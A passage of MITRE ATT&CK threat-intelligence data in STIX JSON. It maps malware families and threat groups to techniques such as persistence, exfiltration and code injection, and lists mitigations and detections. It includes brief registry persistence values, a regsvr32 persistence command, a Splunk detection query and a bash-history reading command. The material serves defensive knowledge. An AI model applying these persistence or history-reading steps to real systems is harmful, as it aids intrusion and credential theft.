"x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ca433ac6-fb5a-41bc-969b-4721571fe836", "type": "relationship", "created": "2020-10-19T13:40:11.224Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-02-25T18:41:12.016Z", "description": "Ensure that all wired and/or wireless traffic is encrypted appropriately. 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Retrieved May 12, 2020."}], "modified": "2020-05-27T23:35:41.401Z", "description": "[ShimRat](https://attack.mitre.org/software/S0444) has installed a Windows service to maintain persistence on victim machines.(Citation: FOX-IT May 2016 Mofang)", "relationship_type": "uses", "source_ref": "malware--5763217a-05b6-4edd-9bca-057e47b5e403", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cab50f6d-3621-4429-8c9a-803df15f4e75", "type": "relationship", "created": "2020-05-08T18:41:16.419Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Cloud Atlas December 2014", "url": "https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/", "description": "GReAT. (2014, December 10). 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Retrieved May 8, 2020."}], "modified": "2020-05-08T18:56:23.074Z", "description": "[Inception](https://attack.mitre.org/groups/G0100) has ensured persistence at system boot by setting the value <code>regsvr32 %path%\\ctfmonrn.dll /s</code>.(Citation: Kaspersky Cloud Atlas December 2014)", "relationship_type": "uses", "source_ref": "intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd", "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cab79b3a-4ea7-455a-9373-e8ac0d8e612f", "type": "relationship", "created": "2021-06-03T22:26:00.781Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CheckPoint Bandook Nov 2020", "url": "https://research.checkpoint.com/2020/bandook-signed-delivered/", "description": "Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021."}], "modified": "2021-06-03T22:26:00.781Z", "description": "[Bandook](https://attack.mitre.org/software/S0234) can support commands to execute Python-based payloads.(Citation: CheckPoint Bandook Nov 2020)", "relationship_type": "uses", "source_ref": "malware--835a79f1-842d-472d-b8f4-d54b545c341b", "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cab80c28-2715-45d4-8d30-993b5050ead6", "type": "relationship", "created": "2022-03-30T14:26:51.843Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.843Z", "description": "Monitor newly executed processes that may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cab93d90-f8de-4bb3-8868-11b8d9a2ddf9", "type": "relationship", "created": "2020-05-14T21:17:54.070Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Okrum July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf", "description": "Hromcova, Z. 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Retrieved May 6, 2020."}], "modified": "2020-05-14T21:17:54.070Z", "description": "[Okrum](https://attack.mitre.org/software/S0439) establishes persistence by creating a .lnk shortcut to itself in the Startup folder.(Citation: ESET Okrum July 2019) ", "relationship_type": "uses", "source_ref": "malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cabbe975-9936-4a9a-8fae-a747b3dc7a9d", "type": "relationship", "created": "2020-05-18T17:31:39.413Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "McAfee Maze March 2020", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/", "description": "Mundo, A. (2020, March 26). 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Retrieved July 14, 2020."}], "modified": "2020-08-14T14:25:53.894Z", "description": "[IcedID](https://attack.mitre.org/software/S0483) has established persistence by creating a Registry run key.(Citation: IBM IcedID November 2017)", "relationship_type": "uses", "source_ref": "malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cabdb159-174a-4fbd-b026-1d67f8f59dcf", "type": "relationship", "created": "2020-12-02T15:04:45.703Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro MacOS Backdoor November 2020", "url": "https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html", "description": "Magisa, L. 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Retrieved December 2, 2020."}], "modified": "2021-10-11T21:23:49.080Z", "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) has the ability to upload files from a compromised host.(Citation: Trend Micro MacOS Backdoor November 2020)", "relationship_type": "uses", "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--cabf9dce-fc94-45dc-a4b5-467465fa378d", "created": "2022-04-20T05:38:20.750Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Perform regular firmware updates to mitigate risks of exploitation and/or abuse.", "modified": "2022-04-20T17:05:48.006Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "mitigates", "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", "target_ref": "attack-pattern--791481f8-e96a-41be-b089-a088763083d4", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cac01499-50ef-4cbf-a223-6879c139173a", "type": "relationship", "created": "2021-02-23T20:50:33.332Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "SANS Conficker", "url": "https://web.archive.org/web/20200125132645/https://www.sans.org/security-resources/malwarefaq/conficker-worm", "description": "Burton, K. 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Retrieved May 25, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has modified Registry settings for security tools.(Citation: DFIR Report APT35 ProxyShell March 2022)", "modified": "2022-05-26T14:38:16.113Z", "relationship_type": "uses", "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--cace8bcc-ab98-49b7-83c1-7b0b99022f02", "created": "2022-06-03T12:55:00.108Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Cybereason PowerLess February 2022", "url": "https://www.cybereason.com/blog/research/powerless-trojan-iranian-apt-phosphorus-adds-new-powershell-backdoor-for-espionage", "description": "Cybereason Nocturnus. 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Targeted Attack Campaign Against ManageEngine ADSelfService Plus Delivers Godzilla Webshells, NGLite Trojan and KdcSponge Stealer. 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Retrieved August 31, 2021."}], "modified": "2021-10-11T16:56:45.466Z", "description": "[Lokibot](https://attack.mitre.org/software/S0447) has used PowerShell commands embedded inside batch scripts.(Citation: Talos Lokibot Jan 2021) ", "relationship_type": "uses", "source_ref": "malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cafefef9-bf75-48e2-91e4-716988309f52", "type": "relationship", "created": "2020-03-02T14:19:22.905Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-25T19:01:04.730Z", "description": "Ensure least privilege principles are applied to important information resources to reduce exposure to data manipulation risk.", "relationship_type": "mitigates", "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", "target_ref": "attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cb02fb3b-8223-476f-90be-ab50e3432d0a", "type": "relationship", "created": "2021-03-23T20:49:40.264Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky ShadowPad Aug 2017", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf", "description": "Kaspersky Lab. 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Retrieved March 22, 2021."}], "modified": "2021-03-23T20:49:40.264Z", "description": "[ShadowPad](https://attack.mitre.org/software/S0596) has injected an install module into a newly created process.(Citation: Kaspersky ShadowPad Aug 2017)", "relationship_type": "uses", "source_ref": "malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc", "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cb043548-a193-4ade-b69d-d83e3378d255", "type": "relationship", "created": "2021-10-05T21:58:51.343Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "trendmicro xcsset xcode project 2020", "url": "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf", "description": "Mac Threat Response, Mobile Research Team. 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(2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. 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Retrieved August 3, 2016.", "source_name": "Symantec Suckfly March 2016"}], "modified": "2019-03-25T16:59:47.276Z", "description": "[Suckfly](https://attack.mitre.org/groups/G0039) has used stolen certificates to sign its malware.(Citation: Symantec Suckfly March 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d", "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cb3117b7-3679-424d-bfb4-b28699cbba02", "type": "relationship", "created": "2021-11-24T20:17:35.503Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MalwareBytes LazyScripter Feb 2021", "url": "https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf", "description": "Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}], "modified": "2021-11-24T20:17:35.503Z", "description": "[LazyScripter](https://attack.mitre.org/groups/G0140) has achieved persistence via writing a PowerShell script to the autorun registry key.(Citation: MalwareBytes LazyScripter Feb 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--cb349656-d1d9-4243-afd0-06b404fc8568", "created": "2022-04-18T16:53:54.223Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "dhcp_serv_op_events", "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800668(v=ws.11)", "description": "Microsoft. (2006, August 31).  DHCP Server Operational Events. Retrieved March 7, 2022."}, {"source_name": "solution_monitor_dhcp_scopes", "url": "https://lockstepgroup.com/blog/monitor-dhcp-scopes-and-detect-man-in-the-middle-attacks/", "description": "Shoemaker, E. (2015, December 31). Solution: Monitor DHCP Scopes and Detect Man-in-the-Middle Attacks with PRTG and PowerShell. Retrieved March 7, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "Monitor Windows logs (ex: EIDs 1341, 1342, 1020, and 1063) for changes to DHCP settings. These may also highlight DHCP issues such as when IP allocations are low or have run out.(Citation: dhcp_serv_op_events)(Citation: solution_monitor_dhcp_scopes)", "modified": "2022-04-18T16:54:22.473Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", "target_ref": "attack-pattern--59ff91cd-1430-4075-8563-e6f15f4f9ff5", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cb36459a-d37c-424f-8130-55cf8d29417e", "type": "relationship", "created": "2020-03-19T19:11:23.708Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ClearSky MuddyWater Nov 2018", "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf", "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018."}], "modified": "2020-06-23T20:16:29.296Z", "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can use JavaScript code for execution.(Citation: ClearSky MuddyWater Nov 2018)", "relationship_type": "uses", "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cb37da3b-6ffd-4882-9680-4e467f25d7f4", "type": "relationship", "created": "2021-10-07T21:28:23.906Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "trendmicro xcsset xcode project 2020", "url": "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf", "description": "Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}], "modified": "2021-10-19T00:34:13.055Z", "description": "[XCSSET](https://attack.mitre.org/software/S0658) identifies the macOS version and uses <code>ioreg</code> to determine serial number.(Citation: trendmicro xcsset xcode project 2020)", "relationship_type": "uses", "source_ref": "malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cb3b9d54-ba89-4af4-8724-3ffde36d101c", "type": "relationship", "created": "2020-03-13T20:15:32.053Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-13T20:15:32.053Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d", "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cb4015bf-e7a4-4b26-8816-1f7a996adf4f", "type": "relationship", "created": "2020-03-20T15:22:53.973Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-20T15:22:53.973Z", "relationship_type": "revoked-by", "source_ref": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6", "target_ref": "attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cb41e11f-1a03-43f3-af0e-a7318632350f", "type": "relationship", "created": "2020-12-07T19:39:17.463Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Crutch December 2020", "url": "https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/", "description": "Faou, M. (2020, December 2). Turla Crutch: Keeping the \u201cback door\u201d open. Retrieved December 4, 2020."}], "modified": "2020-12-07T19:39:17.463Z", "description": "[Crutch](https://attack.mitre.org/software/S0538) can exfiltrate files from compromised systems.(Citation: ESET Crutch December 2020)", "relationship_type": "uses", "source_ref": "malware--925a6c52-5cf0-4fec-99de-b0d6917d8593", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--cb460459-aff8-49a7-8058-3089c2a2da23", "created": "2022-03-30T14:26:51.836Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T13:17:24.621Z", "description": "Monitor for newly executed processes that may use scripts automatically executed at boot or logon initialization to establish persistence. Adversaries may schedule software to run whenever a user logs into the system; this is done to establish persistence and sometimes for lateral movement. This trigger is established through the registry key <code>HKEY_CURRENT_USER\\EnvironmentUserInitMprLogonScript</code>. This signature looks edits to existing keys or creation of new keys in that path. Users purposefully adding benign scripts to this path will result in false positives; that case is rare, however. There are other ways of running a script at startup or login that are not covered in this signature. Note that this signature overlaps with the Windows Sysinternals Autoruns tool, which would also show changes to this registry path.\n\nAnalytic 1 - Boot or Logon Initialization Scripts\n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") AND CommandLine=\"*reg*add*\\Environment*UserInitMprLogonScript\" </code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cb498ebf-bdb4-476c-9b7a-1a83c19d03fb", "type": "relationship", "created": "2020-03-16T17:09:47.263Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub PoshC2", "url": "https://github.com/nettitude/PoshC2_Python", "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}], "modified": "2020-03-16T17:09:47.263Z", "description": "[PoshC2](https://attack.mitre.org/software/S0378) can use Invoke-TokenManipulation for manipulating tokens.(Citation: GitHub PoshC2)", "relationship_type": "uses", "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cb4af413-9bd7-4f1a-a693-57d11ffccbf5", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trustwave Cherry Picker", "description": "Merritt, E.. (2015, November 16). Shining the Spotlight on Cherry Picker PoS Malware. Retrieved April 20, 2016.", "url": "https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/"}], "modified": "2020-03-16T17:55:33.953Z", "description": "Some variants of [Cherry Picker](https://attack.mitre.org/software/S0107) use AppInit_DLLs to achieve persistence by creating the following Registry key: <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows \"AppInit_DLLs\"=\"pserver32.dll\"</code>(Citation: Trustwave Cherry Picker)", "relationship_type": "uses", "source_ref": "malware--b2203c59-4089-4ee4-bfe1-28fa25f0dbfe", "target_ref": "attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cb4bb8cc-f550-4c44-bddb-fa9d32cd0d23", "type": "relationship", "created": "2022-03-30T14:26:51.847Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.847Z", "description": "Monitor executed commands and arguments that may attempt to exfiltrate data via a physical medium, such as a removable drive.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cb4fd342-3356-4289-9661-97b5d762bc89", "type": "relationship", "created": "2022-03-30T14:26:51.835Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.835Z", "description": "While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like <code>cat ~/.bash_history</code>.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--8187bd2a-866f-4457-9009-86b0ddedffa3", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cb51ada4-7c8e-4f4b-a70c-af7f764ac878", "type": "relationship", "created": "2021-01-20T18:10:33.746Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Telebots Dec 2016", "url": "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", "description": "Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."}], "modified": "2021-10-14T14:18:07.262Z", "description": "[KillDisk](https://attack.mitre.org/software/S0607) registers as a service under the Plug-And-Play Support name.(Citation: ESET Telebots Dec 2016)", "relationship_type": "uses", "source_ref": "malware--e221eb77-1502-4129-af1d-fe1ad55e7ec6", "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cb53d2b5-6606-4597-b5e9-d9c114e2607e", "type": "relationship", "created": "2020-07-01T21:05:18.901Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MacKeeper Bundlore Apr 2019", "url": "https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/", "description": "Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."}], "modified": "2020-07-01T21:30:17.395Z", "description": "[Bundlore](https://attack.mitre.org/software/S0482) can use AppleScript to inject malicious JavaScript into a browser.(Citation: MacKeeper Bundlore Apr 2019)", "relationship_type": "uses", "source_ref": "malware--7bef1b56-4870-4e74-b32a-7dd88c390c44", "target_ref": "attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--cb53d2f8-13ae-4ca8-9f76-d5e6d7c67645", "created": "2022-04-19T19:29:27.857Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Consider monitoring for excessive use of <code>SendMessage</code> and/or <code>PostMessage</code> API functions with <code>LVM_SETITEMPOSITION</code> and/or <code>LVM_GETITEMPOSITION</code> arguments.\n\nMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>FindWindow</code>, <code>FindWindowEx</code>, <code>EnumWindows</code>, <code>EnumChildWindows</code>, and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be abused for this technique. ", "modified": "2022-04-19T19:29:49.634Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", "target_ref": "attack-pattern--eb2cb5cb-ae87-4de0-8c35-da2a17aafb99", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cb54c094-5614-4d45-ab13-c00ab2cdb114", "type": "relationship", "created": "2021-12-06T16:30:49.186Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT TA18-074A", "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"}], "modified": "2021-12-06T20:45:13.819Z", "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) has copied and installed tools for operations once in the victim environment.(Citation: US-CERT TA18-074A)", "relationship_type": 